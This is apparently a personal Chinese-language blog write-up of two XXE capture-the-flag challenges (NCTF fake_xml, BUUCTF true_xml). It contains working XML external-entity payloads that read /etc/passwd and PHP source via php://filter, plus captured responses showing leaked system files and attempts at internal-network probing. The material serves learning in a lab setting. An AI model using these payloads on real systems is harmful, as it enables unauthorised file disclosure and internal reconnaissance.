xxe攻击(2)

顺便记录一下常用的linux文件路径,以便抄作业

开始实战, 2_n3ed_p00000000000000000000000w3r!!!!!!!!!!!!!!!!!!!!!

fake_xml NCTF

这道题是假的xxe攻击题,flag在页面就能找到,实际上用来熟悉一下操作

常用php伪协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

(目前会用的也8多,只有file://和php://,以后慢慢填)
data://: 写入协议,比如创建text文件并向text文件写入welecome to the zjctf
?text=data://text/plain,welcome to the zjctf

首先,进入网页是个登陆界面,于是随便输,然后抓包,发现账户名和密码是以xml形式传输—-

于是就阔以进行构造payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

然后因为file:// 读不出来,就用了php://filter过滤函数 —-基操
base64转码获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument(); //设立对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //8管了
$creds = simplexml_import_dom($dom); //simplexml_import_dom: 把节点转化为对象----

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

more: linux下的/etc/passwd以及类似文件解释

在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。

哦,好了,我大致明白怎么工作了

类似还有etc/hosts文件等
类似还有!! /proc/net/arp —-8知道啥用,可以获得ip,和hosts一样,好像是用来内网渗透的
/proc/net/fib_trie
eg: 169.254.1.1

然后….
命令:SYSTEM “http://169.254.1.1或https://169.254.1.1

payload作业

放个典型:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

php://filter/convert.base64-encode/resource=xxx.php

ture_xml(buuctf)

ok…….
首先进去是登陆界面,随便填,抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /doLogin.php HTTP/1.1
Host: 92bc38a7-7117-4470-8d20-7e7633da6781.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://92bc38a7-7117-4470-8d20-7e7633da6781.node4.buuoj.cn:81
Connection: close
Referer: http://92bc38a7-7117-4470-8d20-7e7633da6781.node4.buuoj.cn:81/

<user><username>admin</username><password>123456</password></user>

可以看到username和password都是用xml传的

所以就构造payload,直接抄作业

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

回显成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 19 Mar 2022 01:32:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 968
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.0RC6

<result><code>0</code><msg>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
</msg></result>

那这一串有啥用捏?好像没啥用,那就再读读其他文件: proc/net/arp

回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 19 Mar 2022 01:44:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 275
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.0RC6

<result><code>0</code><msg>IP address HW type Flags HW address Mask Device
169.254.1.1 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0
10.128.253.12 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0
</msg></result>

这玩意有啥用捏? 8知道,只知道是内网的,也就是只能通过里面的服务器读取。尝试读取ip:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file://http://169.254.1.1">
]>
<user><username>&admin;</username><password>123456</password></user>

至于此处为啥是http而8是https呢?8要管了,以后会懂的
等待过程相当龟速…..

然后结果是: 2个ip都报错,原因是connection time out in

那就利用burp的intruder扫一下端口

又是1个龟速的过程……看看有没有其他解法

扫失败了,然后就扫一下地址,又叫内网扫描(eg:把http:169.254.1.1的最后一位数进行爆破)

暴躁老哥上线,他妈的哪里出问题了? 老子一步一步按wp走的啊

分析下原因,wp里,当访问ip时的回显和我的8一样,我的是请求时间过长(connection time out in),而wp的则是请求被拒绝(connection refused in),一个能ping通,1个8能ping通….也许这就是问题所在

那为什么会请求时间过长呢? 我8知道,看了好多wp都是这个解法,没找到原因

请求时间过长显然是内网的服务器的问题,而8是我这边的问题,那就这样吧,这破题就这么过了

然后就很8爽啊啊啊啊啊啊


xxe攻击(2)
https://bl4zygao.github.io/2022/02/11/xxe攻击(2)/
Author
bl4zy
Posted on
February 11, 2022
Licensed under